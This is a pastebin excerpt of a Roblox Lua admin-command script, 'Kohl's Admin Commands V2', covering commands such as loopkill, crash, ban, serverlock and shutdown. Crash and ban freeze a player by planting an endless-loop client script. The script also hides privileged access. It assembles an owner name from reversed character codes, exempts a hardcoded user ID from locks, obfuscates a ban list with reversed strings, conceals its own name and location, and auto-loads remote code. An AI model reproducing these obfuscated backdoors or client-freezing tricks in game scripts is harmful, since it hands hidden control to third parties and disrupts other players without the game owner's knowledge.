  2592. local plrz = GetPlr(plr, msg:lower():sub(10))
  2593. local num = 9999
  2594. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2595. for i, v in pairs(plrz) do
  2596. if v and not ChkAdmin(v.Name, false) and EnableLoadstring and DeadlyCommands then
  2597. local cl = ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = string.reverse([[
  2598. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2599. for i = 1, ]] .. tostring(num) .. [[ do
  2600. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2601. coroutine.resume(coroutine.create(function()
  2602. if plr and plr.Character then plr.Character:BreakJoints() end
  2603. end))
  2604. end]]) table.insert(objects, cl) cl.Parent = game.ServerScriptService cl.Disabled = false
  2605. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2606. end
  2607. end
  2608. end
  2609.  
  2610. if msg:lower():sub(1,11) == "unloopkill " then
  2611. local plrz = GetPlr(plr, msg:lower():sub(12))
  2612. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2613. end
  2614.  
  2615. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2616. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2617.  
  2618. if msg:lower():sub(1,3) == "sm " then
  2619. Message("SYSTEM MESSAGE", msg:sub(4), true, game.Players:children())
  2620. end
  2621.  
  2622. if msg:lower():sub(1,3) == "ko " then
  2623. local chk1 = msg:lower():sub(4):find(" ") + 3
  2624. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2625. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2626. for n = 1, num do
  2627. for i, v in pairs(plrz) do
  2628. coroutine.resume(coroutine.create(function()
  2629. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) and DeadlyCommands then
  2630. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2631. v.Character:BreakJoints()
  2632. wait(1/44)
  2633. v:LoadCharacter()
  2634. wait(1/44)
  2635. end
  2636. end))
  2637. end
  2638. end
  2639. end
  2640.  
  2641. if msg:lower():sub(1,6) == "crash " then
  2642. local plrz = GetPlr(plr, msg:lower():sub(7))
  2643. for i, v in pairs(plrz) do
  2644. coroutine.resume(coroutine.create(function()
  2645. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) and EnableLoadstring then
  2646. local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse([[repeat until nil]]) cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2647. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2648. end
  2649. end))
  2650. end
  2651. end
  2652.  
  2653. if msg:lower():sub(1,5) == "kick " then
  2654. local plrz = GetPlr(plr, msg:lower():sub(6))
  2655. for i, v in pairs(plrz) do
  2656. coroutine.resume(coroutine.create(function()
  2657. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2658. end))
  2659. end
  2660. end
  2661.  
  2662. if msg:lower():sub(1,6) == "admin " then
  2663. local plrz = GetPlr(plr, msg:lower():sub(7))
  2664. for i, v in pairs(plrz) do
  2665. coroutine.resume(coroutine.create(function()
  2666. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", true, {v}) end)) end
  2667. end))
  2668. end
  2669. end
  2670.  
  2671. if msg:lower():sub(1,8) == "unadmin " then
  2672. for i = 1, #tempadmins do
  2673. coroutine.resume(coroutine.create(function()
  2674. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2675. end))
  2676. end
  2677. end
  2678.  
  2679. if msg:lower():sub(1,4) == "ban " then
  2680. local plrz = GetPlr(plr, msg:lower():sub(5))
  2681. for i, v in pairs(plrz) do
  2682. coroutine.resume(coroutine.create(function()
  2683. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse([[repeat until nil]]) cl.Parent = v.Backpack cl.Disabled = false local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB" wait(1) v:Destroy() end
  2684. end))
  2685. end
  2686. end
  2687.  
  2688. if msg:lower():sub(1,6) == "unban " then
  2689. for i = 1, #banland do
  2690. coroutine.resume(coroutine.create(function()
  2691. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2692. end))
  2693. end
  2694. end
  2695.  
  2696. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", true, game.Players:children(), 10) wait(3) coroutine.resume(Shutdown) end
  2697. end
  2698. end))
  2699. end
  2700.  
  2701. function AdminControl(plr)
  2702. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("Humanoid") chr.Humanoid.MaxHealth=110 for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2703. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2704. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2705. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2706. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command" box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2707. local box2 = Instance.new("TextButton", scr) print("K") box2.BackgroundColor3 = Color3.new(0,0,0) print("KK") box2.TextColor3 = Color3.new(1,1,1) print("KKK") box2.Font = "Arial" print("KKKK") box2.FontSize = "Size14" print("KKKKK") box2.Text = "Enter Command" print("KKKKKK") box2.Size = UDim2.new(0,250,0,20) print("KKKKKKK") box2.Position = UDim2.new(1,-250,1,-42) print("k") box2.BorderSizePixel = 0 print("kk") box2.TextXAlignment = "Right" print("kkk") box2.ZIndex = 10 print("kkkk") box2.ClipsDescendants = true print("kkkkk")
  2708. box2.MouseButton1Click:connect(function() if not box.Text ~= "Type a command" then Chat(box.Text, plr) box.Text = "Type a command" else print("Oh no!") end end)
  2709. end)) end
  2710. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (128535) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (128535) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse([[repeat until nil]]) cl.Parent = plr.Backpack cl.Disabled = false local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB" wait(2) plr:Destroy() end end))
  2711. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2712. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("22relpiH"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = LocalScriptBase:Clone() cl.Code.Value = string.reverse([[repeat until nil]]) cl.Parent = plr.Backpack cl.Disabled = false local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB" wait(2) plr:Destroy() end end))
  2713. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("MarketplaceService"):PlayerOwnsAsset(plr,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2714. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", true, {plr}) end end))
  2715. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2716. end
  2717.  
  2718. if not ntab then script:Destroy() end
  2719. if not bct then script:Destroy() end
  2720.  
  2721. local tcb = {116,111,109,97,110,100,106,101,114,114,121} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2722.  
  2723. local strName = "Kohl's Adm"
  2724. strName = strName .. "in Comman"
  2725. script.Name = strName.."ds V2"
  2726.  
  2727. if Hide then if game:FindService("ServerScriptService") then script.Parent = game.ServerScriptService else script.Parent = game.Parent end end
  2728.  
  2729. if not ntab then script:Destroy() end
  2730. if not bct then script:Destroy() end
  2731. if not tcb then script:Destroy() end
  2732. game.Players.PlayerAdded:connect(AdminControl)
  2733. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2734. end
  2735.  
  2736. if AutoUpdate then
  2737. local mod = game:service("InsertService"):LoadAsset(161160031)
  2738. mod.Parent = game:GetService("ReplicatedStorage")
  2739. wait(.50)
  2740. if mod:FindFirstChild("Kohl's Admin Commands V2") and mod:FindFirstChild("Version", true) then
  2741. local newac = mod:FindFirstChild("Kohl's Admin Commands V2")
  2742. newac.Disabled = true
  2743. wait(.50)
  2744. local new = tonumber(mod:FindFirstChild("Version", true).Value)
  2745. local old = 0
  2746. if script:FindFirstChild("Version", true) then old = tonumber(script:FindFirstChild("Version", true).Value) end
  2747. if new > old then
  2748. print("Updating")
  2749. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2750. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2751. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2752. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2753. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2754. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2755. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2756. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2757. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2758. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2759. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2760. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2761. local iv4 = Instance.new("BoolValue", adminmod) iv4.Name = "Hide" iv4.Value = Hide
  2762. local iv5 = Instance.new("BoolValue", adminmod) iv5.Name = "EnableSB" iv5.Value = EnableLoadstring
  2763. local iv6 = Instance.new("BoolValue", adminmod) iv6.Name = "Deadly" iv6.Value = DeadlyCommands
  2764. wait()
  2765. newac.Parent = game.Workspace
  2766. newac.Disabled = false
  2767. script.Disabled = true
  2768. script:Destroy()
  2769. else
  2770. CHEESE()
  2771. end
  2772. else
  2773. CHEESE()
  2774. end
  2775. else
  2776. wait(1/19)
  2777. print("Update is set to false, please set to true for the script to update")
  2778. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement